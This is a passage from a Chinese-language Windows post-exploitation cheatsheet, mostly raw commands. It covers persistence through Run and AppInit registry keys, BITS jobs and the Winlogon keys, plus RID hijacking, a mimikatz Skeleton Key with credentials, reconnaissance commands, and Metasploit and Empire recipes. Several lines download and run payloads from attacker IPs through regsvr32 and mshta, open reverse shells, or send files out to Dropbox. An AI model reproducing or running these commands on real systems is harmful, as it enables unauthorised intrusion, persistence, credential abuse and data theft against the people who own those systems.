  3. reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v raj /t REG_SZ /d "C:\Windows\System32\netsh"

AppInit Dll

在“ AppInit_DLLs”注册表项中指定的DLL是由user32.dll加载的，几乎所有应用程序都使用该user32.dll 
  1. Enable LoadAppInit_DLLs - 32bit and 64bit
  3. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs - 0x1
  4. HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs - 0x1
  6. Registry Key for Arbitrary DLL via AppInit - 32bit and 64bit
  8. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
  9. HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

Bits Job

Windows Persistence using Bits Job

bitsadmin是Windows自带工具，支持创建下载、上传任务并后台执行，如果设置了 /SetNotifyCmdLine参数，任务完成后自动触发指定程序。 
  1. # MSF
  3. ## 1. 执行本地exe
  4. upload /root/raj.exe C:\
  5. shell
  6. bitsadmin /create payload
  7. bitsadmin /addfile payload "https://www.hackingarticles.in/raj.exe"  "C:\raj.exe"
  8. bitsadmin /SetNotifyCmdLine payload C:\raj.exe NUL
  9. bitsadmin /SetMinRetryDelay "payload" 40
  10. bitsadmin /resume payload
  12. ## 2. 远程下载执行命令
  13. * server
  14. use exploit/multi/script/web_delivery
  15. set target 3
  16. set payload windows/x64/meterpreter/reverse_tcp
  17. set lhost 192.168.1.112
  18. set lport 1234
  19. exploit
  20. regsvr32.exe "/s /n /u /i:http://192.168.1.112:8080/V1hTIQYe6Azh.sct scrobj.dll
  22. * msf session
  23. shell
  24. bitsadmin /create payload
  25. bitsadmin /addfile payload "https://www.hackingarticles.in/raj.exe"  "C:\raj.exe"
  26. bitsadmin /SetNotifyCmdLine payload regsvr32.exe "/s /n /u /i:http://192.168.1.112:8080/V1hTIQYe6Azh.sct scrobj.dll"
  27. bitsadmin /SetMinRetryDelay "payload" 40
  28. bitsadmin /resume payload

Winlogon注册表

https://www.yuque.com/u21376397/ox2s03/ba4f6aed887fde7857846e0a2be1ada4#05l5j

Userinit Key

  1. # MSF
  2. shell
  3. reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit
  4. reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, raj.exe" /f
  5. reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v userinit

Shell Key

  1. # MSF
  2. shell
  3. reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell
  4. reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, raj.exe" /f

RID Hijacking

https://www.yuque.com/u21376397/ox2s03/dbe670336d3a68367b2910ef06c866aa

获取到Administrator权限后，修改SAM注册表Guest账户RID值为500，冒充Administrator账号。 
  1. # MSF
  2. use post/windows/manage/rid_hijack
  3. set getsystem true
  4. set guest_account true
  5. set session 2
  6. set password 123
  7. exploit

Skeleton Key

需要注入DC LSA进程，因此要Domain Admins权限，且重启后失效 
  1. # 注入skeleton key
  2. ## mimikatz
  3. privilege::debug
  4. misc::skeleton
  5. ## empire
  6. usemodule persistence/misc/skeleton_key*
  7. execute
  8. ## crackmapexec
  9. crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimikatz -o COMMAND='misc::skeleton'
  12. # 使用skeleton password
  13. net use R: \\WIN-S0V7KMTVLD2\admin$ /user:Administrator mimikatz
  14. rdesktop 10.0.0.2:3389 -u test -p mimikatz -d pentestlab

收集

剪切板

网络

  1. ipconfig /all
  2. systeminfo | findstr Network   网卡信息
  3. arp -a                                               显示ARP表
  4. ipconfig /displaydns                     dns缓存记录，域名与IP映射表
  5. netstat -ano                                     显示网络连接
  6. netstat –nr                                      显示路由表
  7. netstat -s -p udp                            UDP Statistics
  8. netstat -s -p tcp                            TCP Statistics

系统

  1. whoami /all
  2. systeminfo
  3. sc query xxxx
  4. tasklist
  5. tasklist /m ntdll.dll                   使用了ntdll.dll的进程信息
  6. taskkill /f /pid 7236
  7. taskkill /f /im "Taskmgr.exe"
  8. fsutil fsinfo drives                    显示系统盘
  9. schtasks /query /fo LIST /v     显示定时任务信息

Metasploit Tips

  1. Payload

Msfvenom Tutorials for Beginners

  • windows/meterpreter/reverse_tcp
  • windows/meterpreter/bind_tcp
  • windows/shell_hidden_bind_tcp - 只接收来自指定IP的连接 - 在其他机器上扫描此端口时会返回RST包，从而nmap等工具会判断此端口是closed状态，因此达到不被可疑端口扫描程序发现的目的
  • windows/meterpreter/reverse_https
  • windows/shell_reverse_tcp - 这个payload可使用nc监听反弹连接
  • windows/vncinject/reverse_tcp - 直接与远程机器建立VNC连接
  • cmd/windows/reverse_powershell
  • windows/meterpreter/reverse_tcp_allports
假设目标机器防火墙设置出口规则，禁止目的端口为4444-5555的连接，可使用此payload，它会遍历1-65535端口，找到那个不被拦截的目的端口。 同时在C2上，需要配置以下规则再监听4444端口： iptables -A PREROUTING -t nat -p tcp —dport 4444:5556 -j REDIRECT –to-port 4444
  1. 生成payload除了用msfvenom，还可以用msfconsole

Windows后渗透Cheatsheet - 图16

  1. file service+反弹shell监听一步到位

Windows后渗透Cheatsheet - 图17

  1. use exploit/multi/script/web_delivery
  2. set target 3
  3. set payload windows/x64/meterpreter/reverse_tcp
  4. set lhost 192.168.1.112
  5. set lport 1234
  6. exploit
  7. regsvr32.exe "/s /n /u /i:http://192.168.1.112:8080/V1hTIQYe6Azh.sct scrobj.dll
  10. use exploit/windows/misc/hta_server
  11. mshta.exe http://192.168.1.109:8080/pKz4Kk059Nq9.hta
  13. use exploit/windows/smb/smb_delivery
  1. Post module
use post/multi/general/execute 自动化的时候直接启动shell不好退出，使用这个模块可以缓解问题 
  1. msf exploit(handler) > use post/multi/general/execute
  2. msf post(execute) > set command ipconfig
  3. msf post(execute) > set session 1
  4. msf post(execute) >exploit
  1. session上线自动slack提醒

Get Meterpreter Session Alert over slack

Windows后渗透Cheatsheet - 图18

  1. payload ssl证书
  1. use auxiliary/gather/impersonate_ssl
  2. set rhosts www.google.com
  3. exploit
  5. use windows/meterpreter/reverse_https
  6. set lhost <local IP>
  7. set lport 443
  8. set StagerVerifySSLCert true
  9. set handlersslcert <certificate_path>
  10. generate -f hta-psh -o /root/patch.hta
  12. use exploit/multi/handler
  13. set payload windows/meterpreter/reverse_https
  14. set lhost <local IP>
  15. set lport 443
  16. set StagerVerifySSLCert true
  17. set handlersslcert <certificate>

Empire Tips

  1. 自动对所有powershell脚本混淆 
  1. preobfuscate
  2. set Obfuscate true
  1. 数据泄露到dropbox上 
  1. usemodule exfiltration/exfil_dropbox
  2. set SourceFilePath C:\Users\raj\Desktop\notes.txt
  3. set TargetFilePath /Apps/notes.txt
  4. set ApiKey <API Token>
  5. execute

来源

Windows后渗透Cheatsheet